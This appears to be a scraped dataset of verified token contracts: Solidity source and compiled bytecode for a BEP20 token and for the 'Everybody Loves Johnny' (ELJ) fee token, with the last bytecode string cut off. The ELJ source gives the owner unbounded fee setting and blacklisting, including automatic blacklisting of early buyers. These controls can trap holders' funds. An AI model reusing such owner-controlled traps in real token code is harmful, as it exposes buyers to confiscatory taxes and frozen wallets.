spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212208d23118080355a2c4a08219b2b92c0593d7ba8c3ddad3bbf62274ba40ae3105b64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
211
0x3d01a8b3beb9b561b6f4f46cee3fc0a1ff7c1499
/** *Submitted for verification at Etherscan.io on 2022-04-26 */ // SPDX-License-Identifier: unlicense /* Everybody Loves Johnny 1% Max Buy 3% Max Wallet 7% Buy fee 7% Sell fee We stand with Justice */ pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ELJ is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Everybody Loves Johnny";// string private constant _symbol = "ELJ";// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 444444444444 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public launchBlock; //Buy Fee uint256 private _redisFeeOnBuy = 0;// uint256 private _taxFeeOnBuy = 7;// //Sell Fee uint256 private _redisFeeOnSell = 0;// uint256 private _taxFeeOnSell = 7;// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xEbBC5F5999F50d161632C4E4f62bB59baBb5B49b);// address payable private _marketingAddress = payable(0xEbBC5F5999F50d161632C4E4f62bB59baBb5B49b);// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 4444444444 * 10**9; // uint256 public _maxWalletSize = 13333333333 * 10**9; // uint256 public _swapTokensAtAmount = 4444444444 * 10**9; // event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(block.number <= launchBlock+2 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){ bots[to] = true; } if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; launchBlock = block.number; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610554578063dd62ed3e1461056a578063ea1644d5146105b0578063f2fde38b146105d057600080fd5b8063a9059cbb146104cf578063bfd79284146104ef578063c3c8cd801461051f578063c492f0461461053457600080fd5b80638f9a55c0116100d15780638f9a55c01461044d57806395d89b411461046357806398a5c3151461048f578063a2a957bb146104af57600080fd5b80637d1db4a5146103f95780638da5cb5b1461040f5780638f70ccf71461042d57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038f57806370a08231146103a4578063715018a6146103c457806374010ece146103d957600080fd5b8063313ce5671461031357806349bd5a5e1461032f5780636b9990531461034f5780636d8aa8f81461036f57600080fd5b80631694505e116101ab5780631694505e1461027f57806318160ddd146102b757806323b872dd146102dd5780632fd689e3146102fd57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024f57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b70565b6105f0565b005b34801561020a57600080fd5b506040805180820190915260168152754576657279626f6479204c6f766573204a6f686e6e7960501b60208201525b6040516102469190611ca2565b60405180910390f35b34801561025b57600080fd5b5061026f61026a366004611ac0565b61068f565b6040519015158152602001610246565b34801561028b57600080fd5b5060155461029f906001600160a01b031681565b6040516001600160a01b039091168152602001610246565b3480156102c357600080fd5b50681817e7db74487418005b604051908152602001610246565b3480156102e957600080fd5b5061026f6102f8366004611a7f565b6106a6565b34801561030957600080fd5b506102cf60195481565b34801561031f57600080fd5b5060405160098152602001610246565b34801561033b57600080fd5b5060165461029f906001600160a01b031681565b34801561035b57600080fd5b506101fc61036a366004611a0c565b61070f565b34801561037b57600080fd5b506101fc61038a366004611c3c565b61075a565b34801561039b57600080fd5b506101fc6107a2565b3480156103b057600080fd5b506102cf6103bf366004611a0c565b6107ed565b3480156103d057600080fd5b506101fc61080f565b3480156103e557600080fd5b506101fc6103f4366004611c57565b610883565b34801561040557600080fd5b506102cf60175481565b34801561041b57600080fd5b506000546001600160a01b031661029f565b34801561043957600080fd5b506101fc610448366004611c3c565b6108b2565b34801561045957600080fd5b506102cf60185481565b34801561046f57600080fd5b5060408051808201909152600381526222a62560e91b6020820152610239565b34801561049b57600080fd5b506101fc6104aa366004611c57565b6108fe565b3480156104bb57600080fd5b506101fc6104ca366004611c70565b61092d565b3480156104db57600080fd5b5061026f6104ea366004611ac0565b61096b565b3480156104fb57600080fd5b5061026f61050a366004611a0c565b60116020526000908152604090205460ff1681565b34801561052b57600080fd5b506101fc610978565b34801561054057600080fd5b506101fc61054f366004611aec565b6109cc565b34801561056057600080fd5b506102cf60085481565b34801561057657600080fd5b506102cf610585366004611a46565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105bc57600080fd5b506101fc6105cb366004611c57565b610a6d565b3480156105dc57600080fd5b506101fc6105eb366004611a0c565b610a9c565b6000546001600160a01b031633146106235760405162461bcd60e51b815260040161061a90611cf7565b60405180910390fd5b60005b815181101561068b5760016011600084848151811061064757610647611e3e565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068381611e0d565b915050610626565b5050565b600061069c338484610b86565b5060015b92915050565b60006106b3848484610caa565b610705843361070085604051806060016040528060288152602001611e80602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611268565b610b86565b5060019392505050565b6000546001600160a01b031633146107395760405162461bcd60e51b815260040161061a90611cf7565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107845760405162461bcd60e51b815260040161061a90611cf7565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107d757506014546001600160a01b0316336001600160a01b0316145b6107e057600080fd5b476107ea816112a2565b50565b6001600160a01b0381166000908152600260205260408120546106a090611327565b6000546001600160a01b031633146108395760405162461bcd60e51b815260040161061a90611cf7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108ad5760405162461bcd60e51b815260040161061a90611cf7565b601755565b6000546001600160a01b031633146108dc5760405162461bcd60e51b815260040161061a90611cf7565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109285760405162461bcd60e51b815260040161061a90611cf7565b601955565b6000546001600160a01b031633146109575760405162461bcd60e51b815260040161061a90611cf7565b600993909355600b91909155600a55600c55565b600061069c338484610caa565b6013546001600160a01b0316336001600160a01b031614806109ad57506014546001600160a01b0316336001600160a01b0316145b6109b657600080fd5b60006109c1306107ed565b90506107ea816113ab565b6000546001600160a01b031633146109f65760405162461bcd60e51b815260040161061a90611cf7565b60005b82811015610a67578160056000868685818110610a1857610a18611e3e565b9050602002016020810190610a2d9190611a0c565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5f81611e0d565b9150506109f9565b50505050565b6000546001600160a01b03163314610a975760405162461bcd60e51b815260040161061a90611cf7565b601855565b6000546001600160a01b03163314610ac65760405162461bcd60e51b815260040161061a90611cf7565b6001600160a01b038116610b2b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061a565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161061a565b6001600160a01b038216610c495760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161061a565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161061a565b6001600160a01b038216610d705760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161061a565b60008111610dd25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161061a565b6000546001600160a01b03848116911614801590610dfe57506000546001600160a01b03838116911614155b1561116157601654600160a01b900460ff16610e97576000546001600160a01b03848116911614610e975760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161061a565b601754811115610ee95760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161061a565b6001600160a01b03831660009081526011602052604090205460ff16158015610f2b57506001600160a01b03821660009081526011602052604090205460ff16155b610f835760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161061a565b600854610f91906002611d9d565b4311158015610fad57506016546001600160a01b038481169116145b8015610fc757506015546001600160a01b03838116911614155b8015610fdc57506001600160a01b0382163014155b15611005576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b0383811691161461108a5760185481611027846107ed565b6110319190611d9d565b1061108a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161061a565b6000611095306107ed565b6019546017549192508210159082106110ae5760175491505b8080156110c55750601654600160a81b900460ff16155b80156110df57506016546001600160a01b03868116911614155b80156110f45750601654600160b01b900460ff165b801561111957506001600160a01b03851660009081526005602052604090205460ff16155b801561113e57506001600160a01b03841660009081526005602052604090205460ff16155b1561115e5761114c826113ab565b47801561115c5761115c476112a2565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111a357506001600160a01b03831660009081526005602052604090205460ff165b806111d557506016546001600160a01b038581169116148015906111d557506016546001600160a01b03848116911614155b156111e25750600061125c565b6016546001600160a01b03858116911614801561120d57506015546001600160a01b03848116911614155b1561121f57600954600d55600a54600e555b6016546001600160a01b03848116911614801561124a57506015546001600160a01b03858116911614155b1561125c57600b54600d55600c54600e555b610a6784848484611534565b6000818484111561128c5760405162461bcd60e51b815260040161061a9190611ca2565b5060006112998486611df6565b95945050505050565b6013546001600160a01b03166108fc6112bc836002611562565b6040518115909202916000818181858888f193505050501580156112e4573d6000803e3d6000fd5b506014546001600160a01b03166108fc6112ff836002611562565b6040518115909202916000818181858888f1935050505015801561068b573d6000803e3d6000fd5b600060065482111561138e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161061a565b60006113986115a4565b90506113a48382611562565b9392505050565b6016805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370